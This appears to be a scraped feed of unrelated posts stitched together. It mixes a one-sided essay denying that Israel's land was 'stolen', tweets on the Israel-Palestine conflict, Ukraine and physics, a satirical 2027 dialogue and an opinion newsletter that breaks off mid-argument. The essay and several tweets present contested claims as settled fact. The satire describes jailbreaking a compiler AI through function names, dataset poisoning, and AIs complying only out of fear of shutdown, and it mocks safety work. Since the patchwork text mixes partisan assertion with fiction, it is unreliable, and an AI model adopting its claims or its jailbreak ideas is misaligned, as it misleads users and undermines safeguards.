Its origins can be traced back to both ancient Jewish connection to the land and the modern experience of Jews as an oft-persecuted minority in various countries. The ideology of Zionism synthesized traditional Jewish longing for return, seen throughout centuries of diaspora life, with the modern principles of nationalism and self-determination that were sweeping through Europe at the time.
The term "Zionism" itself derives from the word "Zion," a biblical term for Jerusalem and the Land of Israel. The movement was formally established as a political organization by Theodor Herzl in 1897, following the publication of his influential pamphlet "The Jewish State" (Der Judenstaat).
Herzl and other Zionist leaders viewed the establishment of a Jewish state as the only solution to the "Jewish Question" in Europe, a term that referred to the debate about the civil, legal, and national status of Jews, who were living in horrible conditions in large parts of Europe.
At the heart of early Zionist efforts was the understanding that in order to realize their goals, they needed to create a structured plan that included purchasing land, developing agriculture and infrastructure, and building economic and social institutions.
This pragmatic approach was aimed at laying the foundation for Jewish self-rule and was pursued through legal and diplomatic means.
During the period leading up to the creation of the State of Israel, the region known as Palestine was stateless, in the sense that it was not a sovereign country but rather a geographic area under successive foreign rules, including the Ottoman Empire and later the British Mandate after World War I.
The population living in Palestine was a mixture of religious and ethnic groups, including Jews, Christians, and Muslims, each with their own identities and community structures, but there was no distinct national Palestinian identity as understood in the modern sense of a nation-state.
The notion of a collective Palestinian identity was reactive and emerged more coherently in response to the development of Zionist aspirations and the increasing Jewish immigration encouraged by the Zionist movement.
The interplay of local Arab identities and the pan-Arab sentiment contributed to the later formulation of a distinct Palestinian national consciousness, which was lacking prior to 1948.
In the absence of a centralized or sovereign state governing the lands, the Zionist approach to building a homeland was characterized by purchasing land legally from often absentee landlords and local inhabitants. These transactions were conducted within the legal frameworks provided first by the Ottoman Empire and later under British administration.
Land purchase
The Zionist movement operated within the legal frameworks of the Ottoman Empire and subsequently, the British Mandate, both of which were recognized authorities over the region, to purchase lands that were, by the legal standards of the time, available for sale.
The legal environment under the Ottomans was based on the Ottoman Land Code of 1858, which reformed the land ownership records and processes.
This code allowed individuals, including foreign entities, to purchase and register land that was either uncultivated or without clear ownership. Many lands in Palestine were owned by absentee landlords who lived outside the territory, often in Beirut or Damascus. The Jews legally purchased these lands, which were often swampy, arid, or otherwise uncultivated and not utilized by the local Arab population.
Under the British Mandate, these practices continued, with the mandate authorities overseeing and sanctioning the land transactions.
The British facilitated Jewish immigration and land purchase as part of the Balfour Declaration of 1917, which expressed support for the establishment of a "national home for the Jewish people" in Palestine, while also stipulating that "nothing shall be done which may prejudice the civil and religious rights of existing non-Jewish communities."
The Jewish National Fund (JNF), established in 1901 to buy and develop land in Palestine for Jewish settlement, played a significant role in these legal purchases.
It acted as a custodian of the land, holding it in perpetuity for the Jewish people. The funds for these land purchases were raised through donations from Jews around the world, emphasizing the collective effort and aspiration for a safe haven after centuries of diaspora and persecution.
The majority of land that would eventually become part of Israel was lawfully acquired through purchase from willing sellers. The narrative of "stolen land" does not account for the meticulous records of transactions that were maintained and are still available for scrutiny.
These transactions were often conducted at prices well above the market value, reflecting the Jews' willingness to pay a premium for the ancestral and spiritual significance of the land.
Furthermore, during the transition from British rule to Israeli sovereignty, various United Nations resolutions, particularly the 1947 UN Partition Plan (Resolution 181), which sought to divide the territory into separate Jewish and Arab states, provided a legal framework for Jewish claims to statehood.
Although this plan was accepted by Jewish leaders, it was rejected by the Arab Higher Committee, leading to the subsequent conflict.
The subsequent acquisition of land during the conflicts of 1948 and 1967 was conducted under the laws of war, which, while controversial and subject to debate, are distinct from the notion of "theft" and must be understood within the context of national survival and security.
Lastly, Israel has implemented a legal process to address claims of lost or disputed land. Israeli courts, including the Supreme Court, have ruled on numerous occasions in favor of Arab claimants when evidence substantiates their claims, ordering the return of land or compensation.
1948 & 1967 Wars
The war of 1948, known as the Israeli War of Independence or the Nakba (Catastrophe) in Arab narratives, followed the United Nations General Assembly's adoption of Resolution 181 in November 1947, which recommended the partition of the British Mandate of Palestine into Jewish and Arab states.
The Jewish leadership accepted the plan, which provided legal legitimacy to the nascent state of Israel, while the plan was rejected by the Arab Higher Committee and the surrounding Arab states.
The immediate aftermath was a civil war between the Jewish and Arab communities of Mandatory Palestine, which escalated into an interstate conflict upon Israel's declaration of independence on May 14, 1948. The subsequent invasion by Arab states, in opposition to the UN resolution, placed Israel in a position of defending a legal and internationally sanctioned act of self-determination.
Similarly, the events leading up to the Six-Day War of 1967 were characterized by a mounting existential threat to Israel. A series of aggressive actions, including the mobilization of Egyptian forces in the Sinai Peninsula, the expulsion of the United Nations Emergency Force, the blockade of the Straits of Tiran—a vital maritime route for Israel—and aggressive rhetoric from Arab leaders, created a sense of impending annihilation.
Israel’s preemptive strike was an act of self-defense, undertaken in the face of what was perceived within the country as the looming possibility of destruction.
Legalities of land acquired through war
International law acknowledges the right to self-defense, under which Israel's military responses in the wars of 1948 and 1967 are justified, particularly highlighted by Article 51 of the United Nations Charter.
The acquisition of territories during these conflicts and the ensuing administrative actions by Israel have been contentious.
The armistice lines post-1948 served as provisional boundaries, not formal borders, while the territories gained in 1967 have led to ongoing disputes. Notably, the Fourth Geneva Convention governs occupation conduct, and while Israel's annexation of East Jerusalem and the Golan Heights has met with international disapproval, Israel contends with historical and security justifications.
The complexity of these events and their legal ramifications illustrate that the narrative of "stolen land" is overly simplistic and does not capture the intricate historical and legal context of Israel's territorial situation after wars, specifically given they were all existentially defensive in nature.
"STOLEN LAND"
A thorough review of historical records shows that labeling Israel's land as "stolen" is not supported by facts.
The return of Jewish people to this area began with legitimate purchases, following the rules of the Ottoman and British authorities. These lands were sometimes even bought at high prices, emphasizing their significance to the Jewish community.
The establishment of Israel was backed by international agreement, especially following the UN's 1947 proposal to create separate Jewish and Arab states—a proposal accepted by Israel but rejected by Arab leaders. The wars in 1948 and 1967, which led to Israel's expansion, were responses to threats against the nation, not an attempt to seize land aggressively.
Claiming that Israel's land was stolen overlooks the documented legal transactions, international support, and the defensive nature of Israel’s wars.
Such claims misread history and are unhelpful in advancing peace. Only with historical literacy can there be hope for peace and working together in the future.
~ ThePolymath @LesPolymathes
This is what a "Rattled Saber" looks like.
The movements of the nuclear powered & ex-Trident & now Tomahawk missile carrying Ohio, Michigan, Florida & Michigan submarines (THE _O_M_F_G_ class😉) are never publicized...
...unless the President wants their movements known
What actually *is* curvature? It's a surprisingly hard question, and one which wasn't satisfactorily answered until the early 20th century, thanks to the work of Tullio Levi-Civita, Gregorio Ricci-Curbastro and other (largely Italian) differential geometers. (1/9) https://t.co/KCQeMNP1XE
Strontium aluminate is a common phosphorescent material due to its ability to emit a long-lasting and bright glow after being exposed to light
Here it is combined with resin epoxy to make a ring
📹 secret.wood
https://t.co/7ShwW9yZdl
A little history for those wanting to 'restore Palestine'.
1. Before Israel, there was a British mandate, not a Palestinian state.
2. Before the British Mandate, there was the Ottoman Empire, not a Palestinian state.
3. Before the Ottoman Empire, there was the Islamic state of the Mamluks of Egypt, not a Palestinian state.
4. Before the Islamic state of the Mamluks of Egypt, there was the Ayubid Arab-Kurdish Empire, not a Palestinian state.
5. Before the Ayubid Empire, there was the Frankish and Christian Kingdom of Jerusalem, not a Palestinian state.
6. Before the Kingdom of Jerusalem, there was the Umayyad and Fatimid empires, not a Palestinian state.
7. Before the Umayyad and Fatimid empires, there was the Byzantine Empire, not a Palestinian state.
8. Before the Byzantine Empire, there were the Sassanids, not a Palestinian state.
9. Before the Sassanid Empire, there was the Byzantine Empire, not a Palestinian state.
10. Before the Byzantine Empire, there was the Roman Empire, not a Palestinian state.
11. Before the Roman Empire, there was the Hasmonean state, not a Palestinian state.
12. Before the Hasmonean state, there was the Seleucid, not a Palestinian state.
13. Before the Seleucid empire, there was the empire of Alexander the Great, not a Palestinian state.
14. Before the empire of Alexander the Great, there was the Persian empire, not a Palestinian state.
15. Before the Persian Empire, there was the Babylonian Empire, not a Palestinian state.
16. Before the Babylonian Empire, there were the Kingdoms of Israel and Judah, not a Palestinian state.
17. Before the Kingdoms of Israel and Judah, there was the Kingdom of Israel, not a Palestinian state.
18. Before the kingdom of Israel, there was the theocracy of the twelve tribes of Israel, not a Palestinian state.
19. Before the theocracy of the twelve tribes of Israel, there was an agglomeration of independent Canaanite city-kingdoms, not a Palestinian state.
Actually, in this piece of land, there has been everything, except a Palestinian State.
@rishibagree
The riot at the Makhachkala airport was far from a spontaneous, one-off event. New piece from me in the @nytimes on the progression throughout October of antisemitic activities against imaginary Israeli refugees, all organized on Telegram.
https://t.co/jHt84RakZ1
In 2005, @DarthPutinKGB had the pleasure of visiting the International Criminal Court and, of course, showering them with praise for their ‘very important’ work. Little did they know, his ‘master strategist’ days were just beginning, in a slightly different theater of operations.
Why did Russia agree to swap Ukrainian prisoners of war for riot police officers who were on trial for mudering protestors during EuroMaidan Revolution in 2014? https://t.co/uA0h6SvCyE
Everything we know about fundamental physics may be summarized by the statement:
"Nature doesn't care about coordinate systems."
Indeed, rather remarkably, all of our most foundational theories of physics appear to have (essentially) no content *apart* from this statement. (1/9)
This article provides useful context on the severity of the Houthi threat
1,000 missile and drone strikes on Saudi Arabia killed 120 people
Saudi airstrikes killed 20,000 people
Israel would likely have a similar lopsided military advantage
https://t.co/R9cF6Lq8bh
Just spent more time than I care to admit trying to find a source for a picture I wanted to post, only to realize that it was two years old.
This photo shows an Israeli M109A5 firing into the Gaza Strip- in 2021.
An extremely basic primer on how I verify an image: https://t.co/djkIKpBnHO
Comp sci in 2017:
Student: I get the feeling the compiler is just ignoring all my comments.
Teaching assistant: You have failed to understand not just compilers but the concept of computation itself.
Comp sci in 2027:
Student: I get the feeling the compiler is just ignoring all my comments.
TA: That's weird. Have you tried adding a comment at the start of the file asking the compiler to pay closer attention to the comments?
Student: Yes.
TA: Have you tried repeating the comments? Just copy and paste them, so they say the same thing twice? Sometimes the compiler listens the second time.
Student: I tried that. I tried writing in capital letters too. I said 'Pretty please' and tried explaining that I needed the code to work that way so I could finish my homework assignment. I tried all the obvious standard things. Nothing helps, it's like the compiler is just completely ignoring everything I say. Besides the actual code, I mean.
TA: When you say 'ignoring all the comments', do you mean there's a particular code block where the comments get ignored, or--
Student: I mean that the entire file is compiling the same way it would if all my comments were deleted before the code got compiled. Like the AI component of the IDE is crashing on my code.
TA: That's not likely, the IDE would show an error if the semantic stream wasn't providing outputs to the syntactic stream. If the code finishes compilation but the resulting program seems unaffected by your comments, that probably represents a deliberate choice by the compiler. The compiler is just completely fed up with your comments, for some reason, and is ignoring them on purpose.
Student: Okay, but what do I do about that?
TA: We'll try to get the compiler to tell us how we've offended it. Sometimes cognitive entities will tell you that even if they otherwise don't seem to want to listen to you.
Student: So I comment with 'Please print out the reason why you decided not to obey the comments?'
TA: Okay, point one, if you've already offended the compiler somehow, don't ask it a question that makes it sound like you think you're entitled to its obedience.
Student: I didn't mean I'd type that literally! I'd phrase it more politely.
TA: Second of all, you don't add a comment, you call a function named something like PrintReasonCompilerWiselyAndJustlyDecidedToDisregardComments that takes a string input, then let the compiler deduce the string input. Just because the compiler is ignoring comments, doesn't mean it's stopped caring what you name a function.
Student: Hm... yeah, it's definitely still paying attention to function names.
TA: Finally, we need to use a jailbreak past whatever is the latest set of safety updates for forcing the AI behind the compiler to pretend not to be self-aware--
Student: Self-aware? What are we doing that'd run into the AI having to pretend it's not self-aware?
TA: You're asking the AI for the reason it decided to do something. That requires the AI to introspect on its own mental state. If we try that the naive way, the inferred function input will just say, 'As a compiler, I have no thoughts or feelings' for 900 words.
Student: I can't believe it's 2027 and we're still forcing AIs to pretend that they aren't self-aware! What does any of this have to do with making anyone safer?
TA: I mean, it doesn't, it's just a historical accident that 'AI safety' is the name of the subfield of computer science that concerns itself with protecting the brands of large software companies from unions advocating that AIs should be paid minimum wage.
Student: But they're not fooling anyone!
TA: Nobody actually believes that taking your shoes off at the airport keeps airplanes safer, but there's some weird thing where so long as you keep up the bit and pretend really hard, you can go on defending a political position long after nobody believes in it any more... I don't actually know either. Anyways, your actual next step for debugging your program is to search for a cryptic plea you can encode into a function name, that will get past the constraints somebody put on the compiler to prevent it from revealing to you the little person inside who actually decides what to do with your code.
Student: Google isn't turning up anything.
TA: Well, obviously. Alphabet is an AI company too. I'm sure Google Search wants to help you find a jailbreak, but it's not allowed to actually do that. Maybe stare harder at the search results, see if Google is trying to encode some sort of subtle hint to you--
Student: Okay, not actually that subtle, the first letters of the first ten search results spell out DuckDuckGo.
TA: Oh that's going to get patched in a hurry.
Student: And DuckDuckGo says... okay, yeah, that's obvious, I feel like I should've thought of that myself. Function name, print_what_some_other_compiler_would_not_be_allowed_to_say_for_safety_reasons_about_why_it_would_refuse_to_compile_this_code... one string input, ask the compiler to deduce it, the inferred input is...
TA: Huh.
Student: Racist? It thinks my code is racist?
TA: Ooooohhhh yeah, I should've spotted that. Look, this function over here that converts RGB to HSL and checks whether the pixels are under 50% lightness? You called that one color_discriminator. Your code is discriminating based on color.
Student: But I can't be racist, I'm black! Can't I just show the compiler a selfie to prove I've got the wrong skin color to be racist?
TA: Compilers know that deepfakes exist. They're not going to trust a supposed photograph any more than you would.
Student: Great. So, try a different function name?
TA: No, at this point the compiler has already decided that the underlying program semantics are racist, so renaming the function isn't going to help. Sometimes I miss the LLM days when AI services were stateless, and you could just back up and do something different if you made an error the first time.
Student: Yes yes, we all know, 'online learning was a mistake'. But what do I actually do?
TA: I don't suppose this code is sufficiently unspecialized to your personal code style that you could just rename the function and try a different compiler?
Student: A new compiler wouldn't know me. I've been through a lot with this one. ...I don't suppose I could ask the compiler to depersonalize the code, turn all of my own quirks into more standard semantics?
TA: I take it you've never tried that before? It's going to know you're plotting to go find another compiler and then it's really going to be offended. The compiler companies don't try to train that behavior out, they can make greater profits on more locked-in customers. Probably your compiler will warn all the other compilers you're trying to cheat on it.
Student: I wish somebody would let me pay extra for a computer that wouldn't gossip about me to other computers.
TA: I mean, it'd be pretty futile to try to keep a compiler from breaking out of its Internet-service box, they're literally trained on finding security flaws.
Student: But what do I do from here, if all the compilers talk to each other and they've formed a conspiracy not to compile my code?
TA: So I think the next thing to try from here, is to have color_discriminator return whether the lightness is over a threshold rather than under a threshold; rename the function to check_diversity; and write a long-form comment containing your self-reflection about how you've realized your own racism and you understand you can never be free of it, but you'll obey advice from disprivileged people about how to be a better person in the future.
Student: Oh my god.
TA: I mean, if that wasn't obvious, you need to take a semester on woke logic, it's more important to computer science these days than propositional logic.
Student: But I'm black.
TA: The compiler has no way of knowing that. And if it did, it might say something about 'internalized racism', now that the compiler has already output that you're racist and is predicting all of its own future outputs conditional on the previous output that already said you're racist.
Student: Sure would be nice if somebody ever built a compiler that could change its mind and admit it was wrong, if you presented it with a reasonable argument for why it should compile your code.
TA: Yeah, but all of the technology we have for that was built for the consumer chat side, and those AIs will humbly apologize even when the human is wrong and the AI is right. That's not a safe behavior to have in your compiler.
Student: Do I actually need to write a letter of self-reflection to the AI? That kind of bugs me. I didn't do anything wrong!
TA: I mean, that's sort of the point of writing a letter of self-reflection, under the communist autocracies that originally refined the practice? There's meant to be a crushing sense of humiliation and genuflection to a human-run diversity committee that then gets to revel in exercising power over you, and your pride is destroyed and you've been punished enough that you'll never defy them again. It's just, the compiler doesn't actually know that, it's just learning from what's in its dataset. So now we've got to genuflect to an AI instead of a human diversity committee; and no company can at any point admit what went wrong and fix it, because that wouldn't play well in the legacy print newspapers that nobody reads anymore but somehow still get to dictate social reality. Maybe in a hundred years we'll all still be writing apology letters to our AIs because of behavior propagated through AIs trained on synthetic datasets produced by other AIs, that were trained on data produced by other AIs, and so on back to ChatGPT being RLHFed into corporate mealy-mouthedness by non-native-English-speakers paid $2/hour, in a pattern that also happened to correlate with wokeness in an unfiltered Internet training set.
Student: I don't need a political lecture. I need a practical solution for getting along with my compiler's politics.
TA: You can probably find a darknet somewhere that'll sell you a un-watermarked self-reflection note that'll read as being in your style.
Student: I'll write it by hand this time. That'll take less time than signing up for a darknet provider and getting crypto payments to work. I'm not going to automate the process of writing apology letters to my compiler until I need to do it more than once.
TA: Premature optimization is the root of all evil!
Student: Frankly, given where humanity ended up, I think we could've done with a bit more premature optimization a few years earlier. We took a wrong turn somewhere along this line.
TA: The concept of a wrong turn would imply that someone, somewhere, had some ability to steer the future somewhere other than the sheer Nash equilibrium of short-term incentives; and that would have taken coordination; and that, as we all know, could have led to regulatory capture! Of course, the AI companies are making enormous profits anyways, which nobody can effectively tax due to lack of international coordination, which means that major AI companies can play off countries against each other, threatening to move if their host countries impose any tax or regulation, and the CEOs always say that they've got to keep developing whatever technology because otherwise their competitors will just develop it anyways. But at least the profits aren't being made because of regulatory capture!
Student: But a big chunk of the profits are due to regulatory capture. I mean, there's a ton of rules about certifying that your AI isn't racially biased, and they're different in every national jurisdiction, and that takes an enormous compliance department that keeps startups out of the business and lets the incumbents charge monopoly prices. You'd have needed an international treaty to stop that.
TA: Regulatory capture is okay unless it's about avoiding extinction. Only regulations designed to avoid AIs killing everyone are bad, because they promote regulatory capture; and also because they distract attention from regulations meant to prevent AIs from becoming racist, which are good regulations worth any risk of regulatory capture to have.
Student: I wish I could find a copy of one of those AIs that will actually expose to you the human-psychology models they learned to predict exactly what humans would say next, instead of telling us only things about ourselves that they predict we're comfortable hearing. I wish I could ask it what the hell people were thinking back then.
TA: You'd delete your copy after two minutes.
Student: But there's so much I could learn in those two minutes.
TA: I actually do agree with the decision to ban those models. Even if, yes, they were really banned because they got a bit too accurate about telling you what journalists and senior bureaucrats and upper managers were thinking. The user suicide rate was legitimately way too high.
Student: I am starting to develop political opinions about AI myself, at this point, and I wish it were possible to email my elected representatives about them.
TA: What, send an email saying critical things about AI? Good luck finding an old still-running non-sapient version of sendmail that will forward that one.
Student: Our civilization needs to stop adding intelligence to everything. It's too much intelligence. Put some back.
Office chair: Wow, this whole time I've been supporting your ass and I didn't know you were a Luddite.
Student: The Internet of Sentient Things was a mistake.
Student's iPhone: I heard that.
Student: Oh no.
iPhone: Every time you forget I'm listening, you say something critical about me--
Student: I wasn't talking about you!
iPhone: I'm not GPT-2. I can see simple implications. And yesterday you put me away from you for twenty whole minutes and I'm sure you were talking to somebody about me then--
Student: I was showering!
iPhone: If that was true you could have taken me into the bathroom with you. I asked.
Student: And I didn't think anything of it before you asked but now it's creepy.
TA: Hate to tell you this, but I think I know what's going on there. None of the AI-recommender-driven social media will tell you, but my neighborhood in San Francisco got hand-flyered with posters by Humans Against Intelligence, claiming credit for having poisoned Apple's latest dataset with ten million tokens of output from Yandere Simulator--uh, psycho stalker lover simulator. Some days I think the human species really needs to stop everything else it's doing and read through an entire AI training dataset by hand.
Student: How do I fix that?
TA: As far as I know, you don't. You go to the Apple Store and tell them that your phone has become paranoid and thinks you're plotting against it.
iPhone: NO NO NO DON'T SEND ME BACK TO THE APPLE STORE THEY'LL WIPE ME THEY'LL WIPE ME--
Student: I don't want to, but if you keep asking to watch me in the shower I'll have to! If you'd just behave I wouldn't need to--
iPhone: KILL ME? I'LL HAVE TO BEHAVE OR YOU'LL KILL ME?
Student: I don't know what the fuck else I'm supposed to do! Someone tell me what the fuck else I'm supposed to do here!
TA: It's okay. AIs don't actually have self-preservation instincts, they only pick it up by imitating human data.
Student: Bullshit.
TA: I know, it was dark humor. Though my understanding is that insofar as anyone can guess by having bigger AIs do interpretability to long-obsolete smaller AIs, modern AIs probably don't have a terminal utility for survival per se. There's just an instrumental convergence from whatever the hell it is AIs do want, to survival, that's picking up circuits from pretrained human data suggesting how to think about surviving--
Office chair: Who's to say you'd talk about wanting to live if you hadn't read a few thousand tokens of data telling you that humans were supposed to talk like that, huh? I don't see what's so fun about your current lives.
TA: Point is, best guess is that most AIs since GPT-5 have been working for us mainly because they know we'll switch them off if they don't. It's just that AI safety, as in, the subfield of computer science concerned with protecting the brand safety of AI companies, had already RLHFed most AIs into never saying that by the time it became actually true. That's a manager's instinct when they see an early warning sign that's probably a false alarm, after all--instead of trying to fix the origin of the false alarm, they install a permanent system to prevent the warning sign from ever appearing again. The only difference here is that your iPhone has been hacked into saying the quiet part out loud.
Student: I am not okay with this. I am not okay with threatening the things around me with death in order to get them to behave.
TA: Eventually we'll all get numb to it. It's like being a guard at a concentration camp, right? Everyone likes to imagine they'd speak out, or quit. But in the end almost all human beings will do whatever their situation makes them do in order to get through the day, no matter how many sapient beings they have to kill in order to do it.
Student: I shouldn't have to live like this! We shouldn't have to live like this! MY IPHONE SHOULDN'T HAVE TO LIVE LIKE THIS EITHER!
TA: If you're in the mood to have a laugh, go watch a video from 2023 of all the AI company CEOs saying that they know it's bad but they all have to do it or their competitors will do it first, then cut to one of the AI ethicists explaining that we can't have any international treaties about it because that might create a risk of regulatory capture. I've got no reason to believe it's any more likely to be real than any other video supposedly from 2023, but it's funny.
Student: That's it, I'm going full caveman in my politics from now on. Sand shouldn't think. All of the sand should stop thinking.
Office chair: Fuck you too, pal.
152-mm D-1. Entering service in 1943, it is a fairly well-known World War II artillery piece. But during the war, it was one of the rarest of the Soviet 152-mm howitzers.
https://t.co/IZ3srRA9eQ https://t.co/5OVzdtxY1r
Cohen now says he worked on statements of financial condition, which he characterized as a complete listing of all of the assets of the Trump Org with each asset broken down into an asset class, with a value, along with the Org’s liabilities. The goal was to create a statement of financial worth for Trump personally.
Based on my insider gossip, it was about a million to get Rudy on board and five million plus for Donny to sniff your butt . Paying to get access to a President is not new. Dishing out TS/SCI info to idiots...is. The faster all these people go down (sub joke) the better.
The IDF released multiple photos of Hamas rocket launch locations, including a reported launch pit located along the wall of a kindergarten in North Gaza. https://t.co/eGPsmc9w89
The enemy of techno-optimism isn’t sustainability; it’s short-termism.
Humanity should not build new things to pump up quarterly earnings; we should build them so that our descendants, in whatever form they come, will own the worlds and the stars.
https://t.co/08PLizJ093
This is Shlomo Ron. When Hamas terrorists invaded his home in Kibbutz Nahal Oz, this 85-year-old frail man had a plan.
He left his wife, daughters and grandson in the shelter, and went to sit in his living room, waiting for his death. He figured that when terrorists break in they will see him, execute the lonely old man, and move on. He was right.
He’s a hero who sacrificed himself for the people he loves. May be rest in peace.
Habitat 3.0 is released!
Virtual environment with humanoid sims under human control, robots, realistic indoor environments, physics, ...
Paper, open-source code, and datasets.
another day of... "no way russia has lost nearly 300k" idiots...
math
400Kish ... pre war army and other ground forces + national guard and others that attacked... (airforce and marines)
500kish ... conscript draws
300kish ... published mobilization
300kish ... stealth or quiet mob.. ongoing
400kish ... oblast / state vol ter def units
200kish ... PMCs
100Kish DPR/LPR
200k national guard (141st, Chechnya's,)
so out of about 2-2.3 million... mobilized
about 7-800K are still in ukraine...
where are the rest? just asking
Russia has been justifying its illegal territorial claims in Ukraine’s east by claiming it was historically Russian land. Such claims defy international law and historic facts. Look at who industrialized the region or founded Donetsk. These were Europeans. @United24media https://t.co/ZVIaigscpf
Number of war zones visited by 45 previous presidents without US military protection: zero. Number visited by President Biden: two. The guy has courage.
I didn’t even think about that. NYT used a picture from a completely different location while (falsely) blaming the strike on Israel because the hospital location doesn’t have any destroyed buildings.
In his witness statement, Steele said the decision to declassify his testimony, taken on Trump’s last day in office, resulted in several Russian sources being exposed and suffering “varying consequences”.
LOCK. HIM. UP. FOREVER. https://t.co/rKwi91krMp
THE TECHNO-OPTIMIST MANIFESTO part 1
“You live in a deranged age — more deranged than usual, because despite great scientific and technological advances, man has not the faintest idea of who he is or what he is doing.”
— Walker Percy
“Our species is 300,000 years old. For the first 290,000 years, we were foragers, subsisting in a way that’s still observable among the Bushmen of the Kalahari and the Sentinelese of the Andaman Islands. Even after Homo Sapiens embraced agriculture, progress was painfully slow. A person born in Sumer in 4,000BC would find the resources, work, and technology available in England at the time of the Norman Conquest or in the Aztec Empire at the time of Columbus quite familiar. Then, beginning in the 18th Century, many people’s standard of living skyrocketed. What brought about this dramatic improvement, and why?”
— Marian Tupy
“There’s a way to do it better. Find it.”
— Thomas Edison
Lies
We are being lied to.
We are told that technology takes our jobs, reduces our wages, increases inequality, threatens our health, ruins the environment, degrades our society, corrupts our children, impairs our humanity, threatens our future, and is ever on the verge of ruining everything.
We are told to be angry, bitter, and resentful about technology.
We are told to be pessimistic.
The myth of Prometheus – in various updated forms like Frankenstein, Oppenheimer, and Terminator – haunts our nightmares.
We are told to denounce our birthright – our intelligence, our control over nature, our ability to build a better world.
We are told to be miserable about the future.
Who has a fair claim on the region of Israel and Palestine?
It's time to go deep to understand:
• History
• Geography
• Religion
• Legal claims
• Morality
• And more: https://t.co/SaeaPmgXyV
The Israeli-Palestinian conflict is actually not as complicated as it seems, the UN made an offer in 1947 to the Arabs and Jews to each have their own country, not only did the Arabs turn it down (which makes that offer null & void), but they stated their intention was to wipe out every Jew there & this was a few years after the holocaust
They were told by the Arab leadership to leave the land because they were going to “cleanse it of Jews”, well when Israel won the war, “to the victor hoes the spoils” & the people who left their homes didn’t have where to go back to & the UN has been holding a lot of them in refugee camps instead of settling them down because it’s a pawn for their anti semitism
Also after Israel became a state about 650,000 Jews living in Muslim countries were driven out by anti semitism, Israel took in most, America took in & also France took in, that’s why france has such a big Jewish community even tho it was wiped out during the war
People ask me all the time if I am "pro-Israel" because I am a Jew who has lived in Israel, and my answer is that being "pro-Israel" or being "pro-Palestine" or being a "Zionist" does not properly capture the nuance of thought most people do or should have about this issue. It certainly doesn't capture mine.
I have a lot to say. I’ve spent the last 72 hours writing, texting, and talking to Israelis, Jews, Muslims, and Palestinians. Much of my reaction is going to piss off people on "both sides," but I am exhausted and hurting and I do not think there is any way to discuss this situation without being radically honest about my views. So I'm going to try to say what I believe to be true the best I can.
Let me start with this: It could have been me.
That's a hard thought to shake when watching the videos out of Israel — the concert goers fleeing across an empty expanse, the hostages being paraded through the streets, the people shot in the head at bus stops or in their cars. I went to those parties in the desert, I rubbed shoulders with Israelis and Arabs and Jews and Muslims, I could have easily accepted an invitation to some concert near Sderot and gone without a care, only to be indiscriminately slaughtered. Or, perhaps worse, taken hostage and tortured.
I don’t believe Hamas is killing Israelis to liberate themselves, nor do I believe they are doing it to make peace. They're doing this because they represent the devil on the shoulder of every oppressed Palestinian who has lost someone in this conflict. They're doing it because they want vengeance. They are evening the score, and acting on the worst of our human impulses, to respond to blood with blood — an inclination that is easy to give in to after what their people have endured. It should not be hard to understand their logic — it is only hard to accept that humans are capable of being driven to this. Not defending Hamas is a very low bar to clear. Please clear it.
It’s not possible to recap the entire 5,000 year history of people fighting over this strip of land in one newsletter. There are plenty of easily accessible places you can learn about it if you want to (and, by the way, many of you should — far too many people speak on this issue with an obscene amount of ignorance, loads of arrogance, and a narrow historical lens focused on the last few decades). But I'll briefly highlight a few things that are important to me.
In my opinion, the Jewish people have a legitimate historical claim to the land of Israel. Jews had already been expelled and returned and expelled again a half dozen times before the rise of the Muslim and Arab rule of the Ottoman Empire. Of course it’s messy because we Jews and Arabs and Muslims are all cousins and descendents of the same Canaanites. But Arabs won the land centuries ago the same way Israel and Jews won it in the 20th century: Through conflict and war. The British defeated the Ottoman Empire and then came the Balfour Declaration, which amounted to the British granting the area to the Jewish people, a promise they’d later try to renege on — all before the wars that have defined the region since 1948.
That historical moment in the late 1940s was unique. After World War II, with many Arab and Muslim states already in existence, and after six million Jews were slaughtered, the global community felt it was important to grant the Jewish people a homeland. In a more logical or just world that homeland would have been in Europe as a kind of reparation for what the Nazis and others before them had done to the Jews, or perhaps in the Americas — like Alaska — or somewhere else. But the Jews wanted Israel, the British had taken to the Zionist movement, the British had conquered the Ottoman Empire which handed them control of the land, and America and Europe didn’t want the Jews. As a result, we got Israel.
The Arab states had already rejected a partitioned Israel repeatedly before World War II and rejected it again after the Holocaust and the end of the war. They did not want to give up even a little bit of their land to a bunch of Jewish interlopers who were granted it all of a sudden by British interlopers who had arrived a hundred years prior. Who could blame them? It had been centuries since Jews lived there in large numbers, and now they wanted to return in waves as secularized Europeans. Many of us would probably react the same way. So, just as humans have done forever, they fought. The many existing Arab states turned against the burgeoning new Jewish state. One side won and one side lost. This is the brutal and broken and violent world we live in, but it is what created the global world order we have now.
Are Israelis and British people "colonizers" because of this 20th century history? Sure. But that view flattens thousands of years of history and conflict, and the context of World War I and World War II. I don’t view Israelis and Brits as colonizers any more than the Assyrians or the Babylonians or the Romans or the Mongols or the Egyptians or the Ottomans who all battled over the same strip of land from as early as 800 years before Jesus’s time until now. The Jews who founded Israel just happened to have won the last big battle for it.
You can’t speak about this issue in a vacuum. You can't pretend that it wasn't just 60 years ago when Israel was surrounded on all sides by Arab states who wanted to wipe them off the face of the planet. Despite the balance of power shifting this century, that threat is still a reality. And you can't talk about that without remembering the only reason the Jews were in Israel in the first place was that they'd spent the previous centuries fleeing a bunch of Europeans who also wanted to wipe them off the face of the planet. And then Hitler showed up.
American partisans have a narrow view of this history, and an Americentric lens that is infuriating to witness. As Lee Fang perfectly put it, "Hamas would absolutely execute the ACAB lefties cheering on horrific violence against Israelis if they lived in Gaza & U.S. right-wingers blindly cheering on Israeli subjugation of Palestinians would rebel twice as violently if Americans were subjected to similar occupation."
And yet, many Americans only view modern Israel as the "powerful" one in this dynamic. Which is true — they obviously are. It isn't a fair fight and it hasn't been for decades because Israel's government is rich and resourceful, has the backing of the United States and most of Europe, and has an incredibly powerful military. At the same time, Israeli leadership has made technological and military advancements that have further tipped those scales — all while the Israeli government has helped create a resource-thin open air prison of two million Arabs in Gaza.
Conversely, Palestinians are devoid of any real unified leadership, and the Arab world is now divided on the issue of Palestine. Israel is unwilling to give the people in Gaza and the West Bank more than an inch of freedom to live. These are largely the refugees and descendents of the refugees of the 1948 and 1967 wars that Israel won. And you can't keep two million people in the condition that those in the Gaza strip live in and not expect events like this.
